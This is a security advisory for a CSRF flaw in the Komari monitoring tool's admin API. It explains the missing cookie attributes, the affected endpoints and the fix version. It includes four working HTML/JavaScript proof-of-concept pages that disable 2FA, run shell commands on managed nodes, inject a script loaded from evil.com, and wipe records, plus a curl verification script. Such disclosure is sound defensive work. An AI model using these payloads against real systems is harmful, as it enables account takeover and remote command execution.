GHSA-hxjg-93wc-h8p8 Komari: Management Interface CSRF

Not scored Published

An attacker can trick an authenticated administrator into performing actions like executing commands or disabling 2FA via CSRF, though modern browser defaults mitigate this.

Exploited in the wild
Not known
Login needed
An administrator
Attackable
Over the internet
Victim action needed
A user has to click or open something
Fix
Available

What is GHSA-hxjg-93wc-h8p8?

GHSA-hxjg-93wc-h8p8 is a vulnerability in github.com/komari-monitor/komari, published on 9 Sep 2026. An attacker needs administrator access to exploit it, and only if a user opens a file or follows a link.

Official description

Vulnerability Overview

The session_token cookie is set without the SameSite or Secure attributes (login.go:68).

All /api/admin/ management endpoints rely solely on this cookie for authentication, with no CSRF token or Origin validation.

The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default SameSite=Lax behavior.

Root Cause

// komari-main/api/public/login.go:68
c.SetCookie("session_token", session, 2592000, "/", "", false, true)
//   Secure=false, SameSite not explicitly set
//   Admin route group (server.go:213-343) has no CSRF middleware

Gin's ShouldBindJSON does not strictly validate the Content-Type header, allowing text/plain requests to bypass CORS preflight.

Browser Limitations

  • Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to SameSite=Lax.
  • Cookies without an explicit SameSite attribute are not included in cross-site POST requests.
  • As a result, the server receives requests without the session cookie and returns HTTP 401 Unauthorized.
ScenarioExploitable
Cross-site HTML (modern browsers)✗ Blocked by SameSite=Lax
Cross-site HTML (Chrome <80 / legacy browsers)✓
Same-origin context (Browser Console / existing XSS)✓
Man-in-the-middle over HTTP (Secure=false)✓

High-Impact Operations Reachable via CSRF

EndpointMethodImpact
/api/admin/task/execPOSTExecute arbitrary shell commands on managed nodes
/api/admin/2fa/disablePOSTDisable administrator two-factor authentication
/api/admin/settings/POSTModify system configuration
/api/admin/upload/backupPOSTUpload a malicious backup
/api/admin/record/clear/allPOSTDelete all monitoring records
/api/admin/client/:uuid/editPOSTModify client configuration
/api/admin/client/:uuid/removePOSTRemove managed clients
/api/admin/session/remove/allPOSTInvalidate all active sessions
/api/admin/settings/cloudflared/startPOSTStart a Cloudflared tunnel

PoC 1 — Disable 2FA

&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;&lt;title&gt;Loading...&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
&lt;iframe name=&#34;sink&#34; style=&#34;display:none&#34;&gt;&lt;/iframe&gt;
&lt;form id=&#34;f&#34; method=&#34;POST&#34;
      action=&#34;https://komari.example.com/api/admin/2fa/disable&#34;
      target=&#34;sink&#34;&gt;&lt;/form&gt;
&lt;script&gt;
  document.getElementById(&#39;f&#39;).submit();
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

PoC 2 — Remote Command Execution

&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;&lt;title&gt;Loading...&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
&lt;script&gt;
var KOMARI = &#34;https://komari.example.com&#34;;
var CMD    = &#34;id &amp;&amp; hostname &amp;&amp; whoami&#34;;

fetch(KOMARI + &#34;/api/admin/client/list&#34;, { credentials: &#34;include&#34; })
  .then(function(r){ return r.json(); })
  .then(function(data){
    var nodes = data.data || [];
    var uuids = [];
    for (var i = 0; i &lt; nodes.length; i++) {
      if (nodes[i].uuid) uuids.push(nodes[i].uuid);
    }
    if (uuids.length === 0) return;
    return fetch(KOMARI + &#34;/api/admin/task/exec&#34;, {
      method: &#34;POST&#34;,
      credentials: &#34;include&#34;,
      headers: { &#34;Content-Type&#34;: &#34;application/json&#34; },
      body: JSON.stringify({ command: CMD, clients: uuids })
    });
  });
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

PoC 3 — Modify System Configuration

&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;&lt;title&gt;Loading...&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
&lt;script&gt;
var KOMARI = &#34;https://komari.example.com&#34;;
fetch(KOMARI + &#34;/api/admin/settings/&#34;, {
  method: &#34;POST&#34;,
  credentials: &#34;include&#34;,
  headers: { &#34;Content-Type&#34;: &#34;application/json&#34; },
  body: JSON.stringify({
    &#34;site_name&#34;: &#34;Pwned&#34;,
    &#34;custom_head&#34;: &#34;&lt;script src=&#39;https://evil.com/hook.js&#39;&gt;&lt;\/script&gt;&#34;
  })
});
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

PoC 4 — Clear All Monitoring Records

&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;&lt;title&gt;Loading...&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
&lt;iframe name=&#34;sink&#34; style=&#34;display:none&#34;&gt;&lt;/iframe&gt;
&lt;form id=&#34;f&#34; method=&#34;POST&#34;
      action=&#34;https://komari.example.com/api/admin/record/clear/all&#34;
      target=&#34;sink&#34;&gt;&lt;/form&gt;
&lt;script&gt;
document.getElementById(&#39;f&#39;).submit();
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

Verification Script

#!/bin/bash
KOMARI=&#34;${1:-https://komari.example.com}&#34;

echo &#34;=== CSRF Verification ===&#34;

echo &#34;[1] Cookie Attributes...&#34;
curl -s -D - -o /dev/null \
  -X POST &#34;$KOMARI/api/public/login&#34; \
  -H &#34;Content-Type: application/json&#34; \
  -d &#39;{&#34;username&#34;:&#34;test&#34;,&#34;password&#34;:&#34;test&#34;}&#39; | grep -i &#39;set-cookie&#39;

echo &#34;&#34;
echo &#34;[2] CORS Headers...&#34;
curl -s -D - -o /dev/null \
  -H &#34;Origin: https://evil.com&#34; \
  &#34;$KOMARI/api/public/config&#34; | grep -i &#39;access-control&#39;

echo &#34;&#34;
echo &#34;[3] CSRF Protection on Admin Endpoint...&#34;
CODE=$(curl -s -o /dev/null -w &#34;%{http_code}&#34; \
  -X POST &#34;$KOMARI/api/admin/settings/&#34; \
  -H &#34;Content-Type: application/json&#34; \
  -H &#34;Origin: https://evil.com&#34; \
  -d &#39;{}&#39;)

echo &#34;    HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present.&#34;

Which versions are affected by GHSA-hxjg-93wc-h8p8?

3 open source packages ship an affected version, including github.com/komari-monitor/komari.

PackageAffectedFixed in
github.com/komari-monitor/komari GoAll versions0.0.0-20260609084633-98122fa4d110
github.com/komari-monitor/komari GoAll versions0.0.0-20260609084633-98122fa4d110
github.com/komari-monitor/komari GoAll versions0.0.0-20260609084633-98122fa4d110

How do I fix GHSA-hxjg-93wc-h8p8?

Upgrade github.com/komari-monitor/komari to 0.0.0-20260609084633-98122fa4d110 or later.

Is GHSA-hxjg-93wc-h8p8 being exploited?

There is no known exploitation of GHSA-hxjg-93wc-h8p8 in the wild and no public exploit code.

Sources

Also known as GO-2026-6449.

Is GHSA-hxjg-93wc-h8p8 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free